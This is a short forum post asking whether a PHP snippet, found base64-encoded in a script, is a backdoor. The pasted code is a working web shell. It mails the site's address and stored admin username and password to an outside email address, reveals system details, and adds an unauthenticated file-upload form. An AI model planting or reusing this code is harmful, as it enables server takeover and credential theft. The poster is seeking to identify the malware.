Is this a backdoor code?

I found this code which was encrypted in base64 in a php script:

$web = $_SERVER["HTTP_HOST"];
 $inj = $_SERVER["REQUEST_URI"];
 $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord:
".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars
($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP: 
";
 mail("bohr4u@gmail.com","Shell http://$web$inj", "$body");
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; }
else { echo '<b>Upload BY akas06 [at] hackermail.com !!!</b><br><br>'; }
}
?>

I'm not sure if it's a backdoor or not, can anyone clarify please?